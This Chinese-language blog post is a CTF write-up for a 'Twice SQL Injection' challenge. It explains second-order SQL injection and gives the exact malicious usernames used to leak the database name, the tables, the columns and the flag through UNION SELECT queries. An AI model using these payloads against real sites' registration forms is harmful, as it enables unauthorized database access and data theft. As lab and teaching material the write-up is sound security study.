当前位置:网站首页>October 2019 Twice SQL Injection
October 2019 Twice SQL Injection
2022-08-03 21:55:00 【茶经新读.】
October 2019 Twice SQL Injection
题目提示我们是二次注入(SQL注入(二次注入) - 知乎),二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。
二次注入的原理:
在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加"\"进行转义,但是"\"并不会插入到数据库中,再写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候直接从数据库中取除了“脏”数据,并没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中有单引号,直接插入到了数据库中;然后再下一次使用中在拼凑的过程中就形成了二次注入。

随意注册一个账户然后登录,输入sql语句,发现服务器将我们的单引号用\转义,并没有过滤关键字

这时我们需要注册恶意用户名来登录获得我们想知道的内容
注册用户名为1' union select database() #,密码为a的用户

返回到登录页面输入刚才注册的用户名(1' union select database() #)和密码(a)

登录发现爆出了数据库ctftraining

使用同样的方法来爆表:用户名:1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #,密码:a,注册登录


得到flag,news,users三个表

查一下flag表的字段:用户名:1' union select group_concat(column_name) from information_schema.columns where table_name='flag' #,密码:a,同样的注册登录


得到flag字段

查看一下flag字段的内容:用户名:1' union select flag from flag #,密码:a


得到flag

至此结束,撒花
边栏推荐
- 码率vs.分辨率,哪一个更重要?
- Data_web(九)mongodb增量同步到mongodb
- 易基因:植物宏病毒组研究:植物病毒的进化与生态 | 顶刊综述
- B. Kalindrome Array
- 21天打卡挑战学习MySQL——《MySQL工具的使用》第一周 第二篇
- E-commerce data warehouse ODS layer-----log data loading
- CAS: 1192802-98-4 _uv cracking of biotin - PEG2 - azide
- 嵌入式开发:嵌入式基础——代码和数据空间揭秘
- C. awoo‘s Favorite Problem--Educational Codeforces Round 130 (Rated for Div. 2)
- 七夕快乐!
猜你喜欢
随机推荐
Flink--Join以及Flink函数
CAS:153162-70-0_N-BOC-6-Biotinamidohexylamine
What is the role and difference between buildscript and allprojects?
【进阶自动化测试】一文1000教你如何用Postman做接口自动化测试
【kali-漏洞扫描】(2.1)Nessus解除IP限制、扫描快无结果、插件plugins被删除(中)
软考系统分析师备考经验分享:论持久战
[kali-vulnerability exploitation] (3.2) Metasploit basics (on): basic knowledge
九种方式,教你读取 resources 目录下的文件路径
472. Concatenated Words
嵌入式开发:嵌入式基础——代码和数据空间揭秘
4年工作经验,多线程间的5种通信方式都说不出来,你敢信?
上课笔记(6)(1)——#629. 表达式括号匹配(stack)
384. Shuffle an Array
Pay from 0 to 1
今晚直播 | 8.2-8.4 与你聊聊开源与就业那些事!
一体化HTAP数据库如此难,为什么他们还要做?
nxp官方uboot移植到野火开发板PRO(修改LCD部分和网络部分)
距LiveVideoStackCon 2022 上海站开幕还有2天!
七夕快乐!
template string









